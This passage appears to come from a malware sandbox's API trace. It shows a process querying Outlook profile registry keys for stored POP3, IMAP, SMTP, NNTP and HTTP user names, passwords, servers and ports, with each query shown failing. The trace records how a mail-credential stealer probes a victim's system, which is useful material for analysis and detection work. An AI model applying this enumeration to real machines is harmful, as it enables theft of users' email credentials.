phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.175] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.175] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.175] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.175] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.175] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.175] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.176] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.176] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.176] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.176] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.176] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.176] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.176] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.176] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.176] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.176] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.176] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.176] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.176] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.176] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.176] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.176] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.176] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.176] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.177] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.177] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.177] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.177] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.177] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.177] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.177] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.177] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.177] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.177] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.177] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.177] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.177] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.177] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.177] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.177] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.178] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.178] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.178] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.178] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.178] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.178] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.178] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.178] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.178] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.178] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.178] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.178] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.178] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.178] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.178] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.178] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.178] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.179] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.179] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.179] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.179] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.179] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.179] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.179] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.179] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.179] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.179] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.179] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.179] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.179] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.179] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.179] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.179] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.179] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.180] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.180] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.180] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.180] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.180] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.180] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.180] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.180] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.180] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.180] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.180] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.180] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.180] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.180] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.180] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.180] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.180] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.181] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.181] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.181] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.181] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.181] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.181] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.181] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.181] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.181] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.181] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.181] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.181] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.181] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.181] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.181] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.181] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.181] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.181] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.181] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.182] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.182] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.182] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.182] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.182] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.182] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.182] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.182] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.182] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.182] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.182] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.182] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.182] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.182] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.182] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.182] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.182] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.182] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.183] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.183] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.183] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.183] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.183] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.183] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.183] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.183] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.183] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.183] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.183] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.183] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.183] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.183] RegQueryValueExA (in: hKey=0x6f8, 